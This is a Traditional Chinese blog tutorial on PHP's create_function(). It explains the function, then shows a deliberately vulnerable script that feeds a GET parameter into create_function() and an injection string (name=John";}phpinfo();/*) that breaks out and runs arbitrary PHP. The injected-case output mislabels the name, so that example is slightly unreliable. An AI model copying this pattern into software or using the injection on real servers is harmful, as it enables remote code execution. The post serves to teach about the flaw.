PHP create_function函數代碼注入

今日想介紹如何透過create_function函數把代碼注入,主要分成兩個部份,第一部份會介紹一下create_function函數,第二部份會提供一個注入攻擊的範例。

第一部份:介紹PHP create_function()使用方法

函數說明
create_function():此函數可以建立一個匿名函數。

函數參數說明
string create_function( string $args, string $code )
string $args:參數,建立匿名函數的參數。
string $code:代碼,建立匿名函數的代碼,作為一個字符串返回一個獨特的功能名稱,錯誤返回False。

範例

create_function('$name', 'echo "Hello ".$name');

類似於

function fname($name) {
    echo "Hello ".$name;
}

一個官方提供的範例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>



第二部份:使用create_function()代碼注入

注入攻擊代碼的範例

<?php
$name=$_GET['name'];
$str = 'echo '.'"Hello "."'.$name.'";';
echo $str;

$fname = create_function('', $str);
?>

範例執行結果

//正常參數情況 http://localhost/reject.php?name=Alvin
function fname() {
    echo "Hello "."Alvin";
}

//注入攻擊參數情況 http://localhost/reject.php?name=John";}phpinfo();/*
function fname() {
    echo "Hello "."Alvin";}
    phpinfo();/*;
}

範例瀏覽器效果

發表迴響

你的電子郵件位址並不會被公開。 必要欄位標記為 *

*

驗證碼 * Time limit is exhausted. Please reload CAPTCHA.

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料